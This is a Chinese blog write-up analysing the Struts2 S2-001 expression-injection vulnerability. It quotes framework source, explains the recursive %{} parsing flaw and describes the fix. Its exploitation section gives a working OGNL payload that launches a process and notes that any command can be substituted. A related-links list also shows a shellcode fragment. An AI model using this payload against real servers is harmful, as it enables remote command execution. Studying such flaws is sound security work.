Strut2-001

漏洞描述

框架解析JSP页面标签时会对用户输入的Value值获取,在获取对应的Value值中递归解析%{、}造成了二次解析,最终触发表达式注入漏洞,执行任意代码

影响版本

2.0.1 ~ 2.0.8

漏洞分析

环境搭建了好久。。。最后看到一篇https://xz.aliyun.com/t/2672#toc-2,才成功,不知道错误在哪儿。最后发现是和tomcat的版本也有关系

建议:环境搭建能搭好即可,不要太深究为什么。不要偏离主线--分析漏洞

Strut2中的数据流向:请求-》filterStack-》action-》view-》Client

  • 首先直接定位到ParametersInterceptor中的doFilter方法

  • ParametersInterceptor先是建立了一个值栈,并通过setParameters进行储值操作(后门要用,直接从值栈中查)

  • 经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error 。

    然后开始对index,jsp中的struts2标签进行处理

    也就是所谓的标签渲染,把其中的标签通过文件解析替换为既定目标语法

    /**
    TextParseUtil#translateVariables()分析
    */
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression; while (true) {
    int start = expression.indexOf(open + "{");
    int length = expression.length();
    int x = start + 2;
    int end;
    char c;
    int count = 1;
    while (start != -1 && x < length && count != 0) {
    c = expression.charAt(x++);
    if (c == '{') {
    count++;
    } else if (c == '}') {
    count--;
    }
    }
    end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) {
    String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType);
    if (evaluator != null) {
    o = evaluator.evaluate(o);
    } String left = expression.substring(0, start);
    String right = expression.substring(end + 1);
    if (o != null) {
    if (TextUtils.stringSet(left)) {
    result = left + o;
    } else {
    result = o;
    } if (TextUtils.stringSet(right)) {
    result = result + right;
    } expression = left + o + right;
    } else {
    // the variable doesn't exist, so don't display anything
    result = left + right;
    expression = left + right;
    }
    } else {
    break;
    }
    } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

    上面的函数大概的流程就是先找到%{param},然后提取中间的内容,把%{}左右两边的字符串先截断出来分为left,right,对param进行findValue,找到了就把left+value(param)+right进行重新拼接,如果没有就直接将左右两边进行拼接。这是一个正常的标签处理逻辑(学过编译原理的应该很熟悉)。

    漏洞点:如果传进去的参数值为%{1+1},到了29L: findValue(var, asType),那么此时就会再次进行递归解析(感觉和ssti类似),从而触发Expression Inject

漏洞利用

payload:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

将calc.exe替换成其他即可进行任意命令执行

漏洞修复

漏洞形成的原因无非就是递归解析字符串造成的。所以只要不让它递归解析即可。

最后官方给出了上面的修复,也就是限制默认的递归次数,而不是禁止递归。猜想官方应该是为了避免部分情况下还是需要进行递归解析留下了余地吧。

[javaweb]strut2-001漏洞分析的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. Netatalk CVE-2018–1160 越界访问漏洞分析

    编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...

  3. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  4. Thinkcmf任意漏洞包含漏洞分析复现

    简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的 ...

  5. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  6. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  7. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

随机推荐

  1. 【二进制】CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)

    sniperoj-pwn100-shellcode-x86-64 23 字节 shellcode "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\ ...

  2. Sentry 开发者贡献指南 - 前端 React Hooks 与虫洞状态管理模式

    系列 Sentry 开发者贡献指南 - 前端(ReactJS生态) Sentry 开发者贡献指南 - 后端服务(Python/Go/Rust/NodeJS) 什么是虫洞状态管理模式? 您可以逃脱的最小 ...

  3. CF977C Less or Equal 题解

    Content 给定一个 \(n\) 个数的数列 \(a_1,a_2,a_3,...,a_n\) 和一个数 \(k\),试找出这样的一个数 \(x\),使得数列中有 \(k\) 个数小于等于 \(x\ ...

  4. ReentrantLock可重入锁——源码详解

    开始这篇博客之前,博主默认大家都是看过AQS源码的~什么居然没看过猛戳下方 全网最详细的AbstractQueuedSynchronizer(AQS)源码剖析(一)AQS基础 全网最详细的Abstra ...

  5. FastJsonHttpMessageConverter请求中参数序列化问题排查

    问题 前几天帮忙其他部门的多个祖先级项目改造开发,服务间使用Feign方式调用,发现接口提供方接收到的请求,没有请求参数,经过排查发现服务调用方的FastJsonHttpMessageConverte ...

  6. VUE3 之 样式绑定

    1. 概述 老话说的好:脚踏实地,从小事做起. 言归正传,今天我们来聊聊 VUE3 的样式绑定. 2. 样式绑定 2.1 样式例子 <style> /* 颜色 */ .color-red ...

  7. 8-1yum私有云仓库

    针对centos8的BaseOS.AppStream源 yum -y install httpd systemctl enable --now httpd mkdir -pv /var/www/htm ...

  8. Linux(centos)创建用户并分配权限

    创建名为 elas的用户 adduser elas 初始化elas的密码 passwd elas 显示 新的 密码: 重新输入新的 密码: passwd:所有的身份验证令牌已经成功更新. 进行授权 个 ...

  9. JAVA发送POST请求携带JSON格式字符串参数

    import org.apache.commons.lang.StringUtils; import org.apache.http.HttpEntity; import org.apache.htt ...

  10. .NET 多条件动态参数查询方法 - SqlSugar ORM

    1.简单多条件多动参数 创建数据库对象 //创建数据库对象 SqlSugarClient SqlSugarClient db = new SqlSugarClient(new ConnectionCo ...